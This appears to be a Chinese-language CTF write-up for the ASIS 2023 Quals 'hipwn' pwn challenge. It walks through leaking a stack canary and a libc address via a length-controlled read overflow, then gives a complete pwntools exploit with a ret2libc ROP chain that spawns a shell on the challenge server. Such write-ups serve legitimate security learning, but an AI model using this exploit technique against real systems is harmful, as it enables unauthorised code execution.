ASIS 2023 Qual - hipwn

这比赛我就做了一题,一方面是时间不够了,还有一方面是我自己太菜了。只有一题题解也要记录的原因不是因为这题有多精妙,而是我想要记录一下我在这题中学习到的新工具以及新操作。

首先查看程序保护情况

wsl-kali@mylaptop:/mnt/f/Download/CTF/ASIS 2023 Qual/hipwn$ checksec chall 
[*] '/mnt/f/Download/CTF/ASIS 2023 Qual/hipwn/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开,我好像联系pwn以来第一次做这种。

接下来看看漏洞代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int nbytes; // [rsp+Ch] [rbp-54h] BYREF
  char nbytes_4[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v6; // [rsp+58h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  while ( 1 )
  {
    puts("How much???");
    __isoc99_scanf("%u", &nbytes);
    puts("ok... now send content");
    read(0, nbytes_4, nbytes);
    nbytes_4[nbytes] = 0;
    puts(nbytes_4);
    puts("wanna do it again?");
    __isoc99_scanf("%u", &nbytes);
    if ( nbytes != 1337 )
      break;
    puts("i knew it");
  }
  return 0;
}

读入的长度是我们自行输入的,所以这里存在一个栈溢出的漏洞。这个溢出部分的代码逻辑是在循环里面的,所以我们可以多次利用。

第一点:由于开启了Canary,所以我们要泄露,代码中直接为我们准备好了输出函数,所以我们只要覆盖canary的最高字节就可以将canary连带读出。

第二点:代码中没有system,binsh以及后门一类的gift。所以这题要打ret2libc,但是由于PIE,我们不知道地址。所以需要泄露地址。由main函数的加载与执行我们知道,main函数结束后会回到__libc__start_main,也就是说,我们main的返回地址是一个在libc中的地址,我们可以通过第二次连续覆盖到ebp,从而将ret的值读出,此举就泄露的libc的地址,使得我们可以进行ret2libc。

整体思路如上。

那么我们泄露出来这个ret的地址之后,我们如何去利用呢?首先,由于不同libc之间的代码偏移不同,我们无法直接得知__libc_start_main的地址信息。但是此题给出了pwn题的dockerfile,包含了二进制文件和Dockerfile。所以我们是可以拿到这题所使用的libc以及ld的。接下来计算偏移的问题需要我们进入到gdb去看,这里需要我们将二进制的运行环境转为特定的环境。

这里使用的是patchelf。

首先从docker的:

/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/lib/x86_64-linux-gnu/libc.so.6

将我们需要的文件提取出来。

随后使用patchelf,修改二进制文件的连接器与libc指向:

patchelf --set-interpreter ./ld-linux-x86-64.so.2 --replace-needed libc.so.6 ./libc.so.6 chall

这个方式是直接指定libc,如果是设置rpath的话就是设置的查找路径,这里他给的就是一个指定的libc所以我们这里直接指定使用。注意,如果你只制定了libc但是没有指定与之配套的ld的话,程序是无法运行的。

设置完成后,运行这个二进制文件时就会链接指定的libc了。

后面的操作我自己进行的比较繁琐了,但是我现在也不知道有什么更好的方法。

进入gdb,在main函数执行完前序后(也可以直接看),我们来看栈:

pwndbg> stack 15
00:0000│ rsp 0x7fffffffd5a0 —▸ 0x555555554040 ◂— 0x400000006
01:0008│     0x7fffffffd5a8 —▸ 0x7ffff7fe285c ◂— mov rax, qword ptr [rsp + 0x58]
02:0010│     0x7fffffffd5b0 ◂— 0x0
03:0018│     0x7fffffffd5b8 —▸ 0x7fffffffd969 ◂— 0xbfd5120f439acde
04:0020│     0x7fffffffd5c0 —▸ 0x7ffff7fc2000 ◂— jg 0x7ffff7fc2047
05:0028│     0x7fffffffd5c8 ◂— 0x10101000000
06:0030│     0x7fffffffd5d0 ◂— 0x2
07:0038│     0x7fffffffd5d8 ◂— 0x1f8bfbff
08:0040│     0x7fffffffd5e0 —▸ 0x7fffffffd979 ◂— 0x34365f363878 /* 'x86_64' */
09:0048│     0x7fffffffd5e8 ◂— 0x64 /* 'd' */
0a:0050│     0x7fffffffd5f0 ◂— 0x1000
0b:0058│     0x7fffffffd5f8 ◂— 0xbfd5120f439ac00
0c:0060│ rbp 0x7fffffffd600 ◂— 0x1
0d:0068│     0x7fffffffd608 —▸ 0x7ffff7dbdd90 ◂— mov edi, eax
0e:0070│     0x7fffffffd610 ◂— 0x0

可以看到main的返回地址是0x7ffff7dbdd90。由于我们指定的libc加载,我这里也没有对应的debug信息,所以这里给不出这个函数跳回到哪里。没办法我们只能自己找了。查看返回地址对应的机器码:

pwndbg> x /10b 0x7ffff7dbdd90
0x7ffff7dbdd90: 0x89    0xc7    0xe8    0x59    0xb8    0x01    0x00    0xe8
0x7ffff7dbdd98: 0xd4    0x78

使用这个字节序列我们去IDA中查找:

.text:0000000000029D90 89 C7                         mov     edi, eax
.text:0000000000029D90
.text:0000000000029D92
.text:0000000000029D92                               loc_29D92:                              ; CODE XREF: sub_29D10+AA↓j
.text:0000000000029D92 E8 59 B8 01 00                call    exit
.text:0000000000029D92

我们在0x29d90处找到了这个序列。此时__libc_start_main的起始地址是0x29dc0。那么我们就得到了程序中泄露出来的返回地址与__libc_start_main之间的偏移,我们就能够得到运行中__libc_start_main的地址,从而计算libc的基址。后面就是正常的ret2libc流程了。

这里用的gadget都是在libc里面的,虽然我们也可以泄露text的地址,但是libc中已经有了,我们也就没有必要再多此一举了。

exp:

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

elf = ELF("./chall")
rop = ROP("./chall")
libc = ELF("./libc.so.6")

r = remote("45.153.243.57", 1337)
# r = process("./chall")
# r = gdb.debug("./chall", "b main")

# leak the canary
r.sendlineafter(b"How much???\n", b'200')
leak = b"a"*(0x50 - 8 + 1) 
r.sendafter(b"ok... now send content\n", leak)
r.recv(len(leak))
canary = u64(r.recv(7).rjust(8, b"\x00"))
print(hex(canary))
r.sendlineafter(b"wanna do it again?\n", b"1337")

# leak return address
r.sendlineafter(b"How much???\n", b'200')
leak = b"a"*(0x50) + b"a"*8
r.sendafter(b"ok... now send content\n", leak)
ret_29D90 = u64(r.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print(hex(ret_29D90))
offset = 0x29dc0 - 0x29d90
__libc_main =  ret_29D90 + offset
r.sendlineafter(b"wanna do it again?\n", b"1337")

# calculate the base 
base = __libc_main - libc.symbols["__libc_start_main"]
system = base + libc.symbols['system']
binsh = base + next(libc.search(b"/bin/sh"))
print(f"__libc_main: {hex(__libc_main)}")
print(f"system: {hex(system)}")
print(f"binsh: {hex(binsh)}")

# rop
r.sendlineafter(b"How much???\n", b'200')
rdi = 0x000000000002a3e5 # this gadget is in libc, because you dont know the text segment address
ret = 0x0000000000029cd6 # this gadget is in libc
payload = b"a"*(0x50 -8) + p64(canary) + b"a"*8 + p64(base + ret) + p64(base + rdi) + p64(binsh) + p64(system)
r.sendafter(b"ok... now send content\n", payload)
r.sendlineafter(b"wanna do it again?\n", b"1")

r.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值